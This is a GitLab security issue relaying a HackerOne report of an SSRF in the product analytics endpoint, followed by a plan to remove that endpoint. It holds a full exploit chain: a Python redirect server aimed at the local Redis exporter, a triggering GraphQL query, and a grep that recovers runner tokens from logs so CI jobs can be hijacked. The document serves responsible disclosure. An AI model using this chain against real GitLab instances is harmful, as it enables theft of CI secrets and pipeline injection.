SSRF in Analytics Dashboard, bypassing all localhost restrictions, exposing runner tokens to logfiles

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #3262020 by joaxcar on 2025-07-20, assigned to @katwu:

Report | Attachments | How To Reproduce

Report

Summary

There exists a blind SSRF in ee/lib/analytics/product_analytics/project_usage_data.rb

 def events_stored_count(month: Time.current.month, year: Time.current.year)  
        response = Gitlab::HTTP.get(  
          usage_url(year, month),  
          allow_local_requests: true,  
          timeout: 10  
        )

        Gitlab::Json.parse(response.body)['result']  
      end  

As allow_local_requests: true is true, the request is allowed to hit any internal endpoint, disregarding any instance limitations (blocked by default).

The impact here lies in that it's an arbitrary request to localhost, this bypasses the security perimeter listed here

To prevent exploitation of insecure internal web services, all webhook and integration requests to the following local network addresses are not allowed:

  • The current GitLab instance server address.
  • Private network addresses, including 127.0.0.1, ::1, 0.0.0.0, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, and IPv6 site-local (ffc0::/10) addresses.

I reported this here https://hackerone.com/reports/2707826 but it got closed as a dupe of https://hackerone.com/reports/2697456 but after pointing out that its still active I was asked to send a new report. At the time I did not know a way to escalate it from blind to something impactfull but now I think I can prove exploitability here as well.

Note that the setup is quite tricky but Its already been proven to work in https://hackerone.com/reports/269745

Steps to reproduce

This is quite advanced, so please watch the video of a successful attack first

First some setup

Prepare attacker Analytics system (i will use Digitalocean)

  1. Create a droplet.
  2. Connect to the droplet
  3. Install Docker on the droplet using these commands
sudo apt update;  
sudo apt -y install vim apt-transport-https ca-certificates curl software-properties-common;  
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -;  
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu focal stable" apt-cache policy docker-ce;  
sudo apt install docker-ce -y;  
  1. Open some ports using these commands
sudo ufw allow 20  
sudo ufw allow 4000  
sudo ufw allow 9091  
sudo ufw allow 4567  
sudo ufw enable  
sudo ufw status verbose  
  1. Download and start Analytics Dashboard services
git clone https://gitlab.com/gitlab-org/analytics-section/product-analytics/devkit.git  
cd devkit  
cp cube/.env.sample cube/.env  
sed -i 's/http:\/\/host.docker.internal:3000/https:\/\/gitlab.com/g'  cube/.env  
docker compose up -d  
  1. Wait a few minutes to have it set up
  2. Create a new file named attack.py with this content
###  !/usr/bin/env python3

from http.server import BaseHTTPRequestHandler, HTTPServer

class RedirectHandler(BaseHTTPRequestHandler):  
    def do_GET(self):  
        self.send_response(301)  
        self.send_header('Location', 'http://127.0.0.1:9121/scrape?target=unix:///var/opt/gitlab/redis/redis.socket&check-keys=runner:build_queue:*')  
        self.end_headers()

def run(server_class=HTTPServer, handler_class=RedirectHandler, host='0.0.0.0', port=4567):  
    server_address = (host, port)  
    httpd = server_class(server_address, handler_class)  
    print(f"Starting redirect server on {host}:{port}...")  
    httpd.serve_forever()

if __name__ == "__main__":  
    run()  

Prepare a Gitlab instance
8. Start a self-hosted GitLab with an Ultimate license
9. SSH to the Gitlab instance and run these two commands to enable the feature flags for product analytics

sudo gitlab-rails runner "Feature.enable(:product_analytics_admin_settings)"  
sudo gitlab-rails runner "Feature.enable(:product_analytics_features)"  
  1. Log in as root to the instance
  2. Go to https://gitlab.example.com/admin/application_settings/analytics and enable it by checking the checkbox and just type http://123.123.123.123 in all fealds
  3. Click save
  4. Go to https://gitlab.example.com/admin/users and create a new normal user (this is the attacker)
  5. Go to https://gitlab.example.com/admin/runners and configure a runner for the instance
Now the attack
  1. Open Chrome and go to the GitLab instance and log in as the new attacker user
  2. Create a new project
  3. Go to http://gitlab.example.com/GROUPNAME/PROJECTNAME/-/settings/analytics and fill out the form with (Where <IP> is the IP to your droplet)
  • Snowplow configurator connection string: http://test:test@<IP>:4567
  • Collector host: http://<IP>:9091
  • Cube API URL: http://<IP>:4000
  • Cube API key: thisisnotarealkey43ff15165ce01e4ff47d75092e3b25b2c0b20dc27f6cd5a8aed7b7bd855df88c9e0748d7afd37adda6d981c16177b086acf496bbdc62dbb
  1. Save the config
  2. Go to http://gitlab.example.com/GROUPNAME/PROJECTNAME/-/analytics/dashboards/ and click on Set up, on the next page uncheck "use instance settings to use your own"
  3. The page will load for a while. When the connection is successful, scroll down on the info page until you find the HTML snippet to start adding data. Copy the HTML from the Using HTML script portion
  4. Go to <redacted tool> and paste the HTML in the code box, click submit, this will render the HTML and send a metric to the server. Refresh the page a few times
  5. After a few seconds, it should now be ready and visiting http://gitlab.example.com/GROUPNAME/PROJECTNAME/-/analytics/dashboards/ should show a list of dashboards
  6. Now go back to the SSH session on the (attacker-controlled) droplet and run
docker compose down  
  1. start the attacker python server
python3 attack.py  
  1. Go to http://gitlab.example.com/-/graphql-explorer and send this query (replace GROUPNAME/PROJECTNAME with the value for your attacker project)
query{  
  project(fullPath:"GROUPNAME/PROJECTNAME"){  
    productAnalyticsEventsStored(monthSelection:[{month:1,year:2024}]) {  
      count  
    }  
  }  
}
  1. This should return a 500 server error. The SSRF is now done and will have sent this request to the internal network bypassing all restrictions http://127.0.0.1:9121/scrape?target=unix:///var/opt/gitlab/redis/redis.socket&check-keys=runner:build_queue:*
Leak
  1. SSH into the gitlab instance
  2. Run this command
grep -rl "glrt-" /var/log/gitlab/gitlab-rails/  

And you should see a few log files that contain gitlab runner tokens. Go into any of these files and search for glrt- to find the full token. The token will be part of a Redis dump generated by the SSRF due to the excessive error message from the analytics query

This token can then be used to set up a "copy" of the original runner and hijack CI jobs on the instance, leaking all CI secrets and injecting code into pipelines

Impact

The requirements for a high impact here are that the attacker somehow has access to GitLab logs. This is a high PR, but it's not unthinkable, and the reason for Gitlab already masking everything sensitive in the logfiles. See, for example, this medium severity issue that could leak access tokens in the logs https://about.gitlab.com/releases/2025/01/08/patch-release-gitlab-17-7-1-released/#possible-access-token-exposure-in-gitlab-logs

The issue here is a bit different as the attacker can control what is leaked. So the PR: H is the same as it's a high privilege to view logs, but leaking all runner tokens has I: H, C: H, and S: C as we are now injecting ourselves into CI pipelines (see GitLab CVSS calculator). Moreover, the error message leaks the full SSRF response, so it's also possible to probe outside of Gitlab into the full internal network as the codepath has allow_local_requests: true. This means that we could also leak any response from external systems on the internal network.

The POC shows this by the example of us pivoting from Gitlab to using the redis scraper running on port 9121 and then into the local Redis instance

What is the current bug behavior?

Analytics events_stored_count allows targeting localhost even if that is blocked on the instance. AND the error message is storing the full response in logs without any limits to size or anything.

What is the expected correct behavior?

Localhost should be blocked, and the error message should probably get trimmed down

Impact

Blind SSRF that can hit localhost on any path, port and query param. (GET)

Impact

SSRF bypassing local network protections, causing excessive error messages to leak highly sensitive data into logfiles.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

  • <redacted>

How To Reproduce

Please add reproducibility information to this section:

Implementation plan

backend - 3️⃣

As discussed, this issue doesn't need to be backported and can be a public MR. We can cite Remove product analytics tab from Usage Quotas (!200079 - merged) as the reason for the removal of this GraphQL endpoint (it isn't being used anywhere). We should not mention this SSRF in the public MR, but we can link to the MR here.

  1. Remove Analytics::ProductAnalytics::ProjectUsageData
  2. Remove product_analytics_events_stored
  3. Remove product_analytics_events_used
  4. Remove Resolvers::ProductAnalytics::ProjectUsageDataResolver
  5. Remove Types::ProductAnalytics::MonthSelectionInputType
  6. Remove Types::ProductAnalytics::MonthlyUsageType
  7. Remove the API requests spec
  8. Remove any other specs relating to these files
  9. Run bundle exec rake gitlab:graphql:compile_docs to update the GraphQL documentation
  10. Verify the group usage pages load correctly
Edited by ADandy